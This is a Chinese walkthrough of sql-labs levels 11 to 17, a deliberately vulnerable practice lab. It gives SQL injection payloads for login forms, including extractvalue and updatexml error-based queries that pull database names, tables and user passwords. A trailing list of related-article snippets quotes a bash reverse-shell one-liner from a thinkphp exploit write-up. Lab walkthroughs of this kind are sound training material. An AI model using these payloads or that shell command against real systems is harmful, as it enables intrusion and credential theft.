【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)

        SQL注入攻击是一种针对Web应用程序的安全漏洞,那么自然,SQL注入攻击也和前端页面息息相关,用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误,等等我问题都可能造成安全威胁。

在上一节,我们了解了基础的SQL注入模式,他们大多都从地址导航栏入手,直接向查询语句中注入攻击语句。本章我们来看和前端页面相关的一些SQL注入攻击。

1.Less-11
1.1 页面分析

来到第十一关,我们可以看到,这一关与前十关有很大区别,页面有了一个输入框,提示我们输入用户名和密码。

顺其自然我们想到,注入点就在输入框里。前十关用到的都是get请求,参数都体现在url上面,而这一关开始是post请求,参数在表单里面。我们可以直接在输入框里面进行注入。

1.2 尝试注入


我们尝试输入1,页面报错,再尝试输入1‘,页面显示报错原因

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1

这说明,我们如果想查询某个用户的信息,并且用户ID为1,就需要隔断后面的部分。

知道了SQL语句,我们就可以构造一个恒成立的SQL语句,看查询出的是什么。这里我们需要把--+换成#来进行注释,意思是一样的,后续就和之前一样了,使用联合注入获取数据库信息。


不同点主要在于:将注释符从 --+换成 #

2.Less-12

来到第十二关,我们输入1和1‘没有反应,当我们输入1"的时候出现报错信息,我们从报错信息知道SQL语句是双引号且有括号。

​​​​​​​

那么我们就可以构造相应的SQL注入语句了。

1") or 1=1 #
1") union select 1,2 #


3.Less-13、14、15、16

第十三关与第十二关类似,只需要将双引号换成单引号。

第十四关与第十一关类似,只需要将单引号换成双引号。

第十五关和第十一关一样,只是不产生报错信息,对此我们可以使用布尔盲注。

第十六关和第十二关一样,需要使用布尔盲注。

4.Less-17(报错注入)

现在我们来到第十七关,根据页面来看,这是一个密码重置页面,也就是说我们已经登入系统了,可以执行修改操作。


根据源代码,SQL语句会对输入的账户名进行检测,对输入的特殊字符进行转义,我们能利用的只有更新密码的SQL语句。

4.1 extractvalue报错注入

这里我们需要用到extractvalue报错注入,extractvalue 是一个XQuery函数,用于从XML文档中提取特定值。格式为extractvalue(XML_document,XPath_string)。

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) 作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错

了解了extractvalue的原理后,我们就可以开始注入了。和前面类似,首先我们来进行数据库版本爆破

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#

成功得到了数据库版本为5.7.26,接下来我们再来爆数据库。

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 

又成功得到了数据库名,接下来,爆表名

1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#

爆字段名。

1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

爆字段内容

1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 

​​​​​​​当我们提交时,发现页面报错,报错显示我们不能查询和更新同一张表。

针对此问题,我们需要加一个中间表。本关只需要我们输入正确账号,所以爆出的是该账户的原始密码。只要查询时不是users表就不会报错。

1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 

 

成功得到密码,爆破成功。

对于这两条语句:

  • 目标用户:第一个示例尝试获取users表中所有用户的用户名和密码,而第二个示例只针对特定用户admin1
  • 查询结构:第一个示例使用group_concat来合并所有用户的用户名和密码,第二个示例使用子查询来获取特定用户的密码。
4.2 updatexml报错注入

对于本关,我们还可以采用updatexml报错注入,updatexml 是MySQL数据库中的一个函数,它允许你使用XPath表达式和XML数据进行交互。然而,如果不正确使用,updatexml 也可能成为SQL注入攻击的漏洞。SQL注入攻击者可能会利用这个函数来尝试访问或修改数据库中的XML数据。

格式为UPDATEXML (XML_document, XPath_string, new_value)。第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc;第二个参数:XPath_string (Xpath格式的字符串) ;第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值。当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多

123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#     爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#    爆数据库123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#      爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#爆字段名123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#   爆字段内容。

剩下的与extractvalue类似,也是要注意查询和修改不能为同一表的问题,但是可以爆破其他表

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390215.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springboot书店销售管理系统-计算机毕业设计源码09304

摘要 随着互联网的普及和发展,线上书店越来越受到人们的欢迎。为了更好地管理书店的销售活动,提高用户体验,开发一个基于Springboot的书店销售管理系统是至关重要的。这种系统可以帮助书店管理员更高效地管理书籍、订单和用户信息&#xff0c…

维修雅萌五代射频仪

维修雅萌五代射频仪,主板进水,看起来有点严重,看看这回能不能把它修好

力扣SQL50 2016年的投资 窗口函数

Problem: 585. 2016年的投资 👨‍🏫 参考题解 Code SELECT ROUND(SUM(tiv_2016), 2) AS tiv_2016 -- 对符合条件的记录计算 tiv_2016 的总和,并保留两位小数 FROM (SELECTtiv_2016, -- 选取 tiv_2016 …

参数包 emplace_back lambda

参数包 下面的参数args前面有省略号,所以它就是一个可变模版参数,我们把带省略号的参数称为“参数包”,它里面包含了0到N(N>0)个模版参数。 // Args是一个模板参数包,args是一个函数形参参数包 // 声明一…

【动态规划-最大子段和】力扣1191. K 次串联后最大子数组之和

给定一个整数数组 arr 和一个整数 k ,通过重复 k 次来修改数组。 例如,如果 arr [1, 2] , k 3 ,那么修改后的数组将是 [1, 2, 1, 2, 1, 2] 。 返回修改后的数组中的最大的子数组之和。注意,子数组长度可以是 0&…

【论文阅读visual grounding】QRNet论文解读与关键代码实现

Shifting More Attention to Visual Backbone: Query-modulated Refinement Networks for End-to-End Visual Grounding 论文链接:https://arxiv.org/abs/2203.15442 代码链接:https://github.com/z-w-wang/QRNet Motivation 视觉定位(visua…

2023-2024年 Java开发岗面试题经验分享

在各行各业中,面试前我们总会思索一个问题:究竟什么样的求职者能获得面试官的青睐?作为求职者,我们又该如何准备,以应对各种面试官的挑战?在这激烈的竞争里,如何才能让自己从众多应聘者中脱颖而…

ai web 1.0靶机漏洞渗透详解

一、导入靶机 解压下载好的靶机,然后打开VMware,点击文件》打开》找到刚刚解压的靶机点击下面的文件》打开 确认是靶机的网络连接模式是NAT模式 二、信息收集 1、主机发现 在本机的命令窗口输入ipconfig查看VMnet8这块网卡,这块网卡就是虚…

历届奥运会奖牌数据(1896年-2024年7月)

奥运会,全称奥林匹克运动会(Olympic Games),是国际奥林匹克委员会主办的世界规模最大的综合性体育赛事,每四年一届,会期不超过16天。这项历史悠久的赛事起源于古希腊,现代奥运会则始于1896年的希…

抖音豆包大模型AI写作教程

简数采集器支持调用字节跳动抖音的豆包AI大模型API接口,用于对采集的数据进行研究分析,内容写作等。 抖音豆包大模型AI写作使用教程: 目录 1.启用豆包AI大模型API功能 2.设置豆包API处理规则 3.应用API规则处理数据 4.获取AI处理结果 1…

ATTCK实战系列-红队评估 (一)Vulnstack三层网络域渗透

目录 一、搭建环境 1.靶场下载地址: 2、网络拓扑 3、环境配置 Win7(外网服务器 ) Win2008(域控) Win2003(域成员) 4、启动环境 二、信息收集 1、端口扫描 2、目录扫描 三、漏洞利用…

目标检测,目标跟踪,目标追踪

个人专做目标检测,目标跟踪,目标追踪,deepsort。YOLOv5 yolov8 yolov7 yolov3运行指导、环境配置、数据集配置等(也可解决代码bug),cpu,gpu,可直接运行,本地安装或者远程…

springboot基于微信老人健康与饮食管理系统-计算机毕业设计源码82939

基于微信老人健康与饮食管理系统的小程序 摘 要 基于Spring Boot的微信老人健康与饮食管理系统的小程序致力于为老年人提供便捷的健康管理和饮食指导服务。该小程序整合了健康资讯浏览、食谱推荐、健康评估等功能模块,通过系统的设计与实现,旨在帮助老年…

uniapp全局分享功能实现方法(依赖小程序右上角的分享按钮)

1、uniapp开发小程序时默认是关闭分享功能的。点击右上角三个点可查看,效果图如下: 2、在utils文件夹下新建share.js文件,名字任起。(使用的是全局分享,因为一个一个页面的去分享太麻烦且没必要。) export…

### 微软的传奇与未来:从车库到云端的飞跃

今天我要和大家聊聊科技界的超级明星——微软。这家公司几乎每个人都听过,从90年Windows全家桶,到现在的云端革命,微软的故事简直有点儿像科技界的“美国梦”。 #### **车库里的梦想** 一切都得从1975年说起。当时,比尔盖茨和保…

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

AS400==tutorial for Beginners

系统AS400 语言RPGLE 参考视频: https://www.youtube.com/watch?vFqgwYsp7mjk&listPL3W4xRdnQJHVWWmYX1Klji7QUk_PQhq0t&index5 Lesson 1 | Introduction to As-400 and setting up As-400 Environment. 客户端软件TN5250 Terminal Emulation for Window…

Null Reference: 避免和解决空引用错误

Null Reference: 避免和解决空引用错误 🚫 **Null Reference: 避免和解决空引用错误 🚫**摘要引言正文内容1. 理解空引用错误1.1 什么是空引用1.2 空引用的影响 2. 空引用错误的常见原因2.1 未初始化的变量2.2 访问已被清空的对象2.3 方法返回空引用 3. …

U盘数据恢复不再难:2024年4款工具,找回你“躲藏”的记忆

现在市面上有一些非常棒的U盘数据恢复软件,它们特别好用,就算你对电脑不太懂也能轻松搞定。这些软件能在几分钟之内帮你检查U盘,找出那些被误删的照片、文件和视频,让你可以轻松把它们找回来。不管你是自己用还是工作需要&#xf…

深度学习入门——卷积神经网络

本章的主题是卷积神经网络(Convolutional Neural Network,CNN)。CNN被用于图像识别、语音识别等各种场合,在图像识别的比赛中,基于深度学习的方法几乎都以CNN为基础。本章将详细介绍CNN的结构,并用Python实…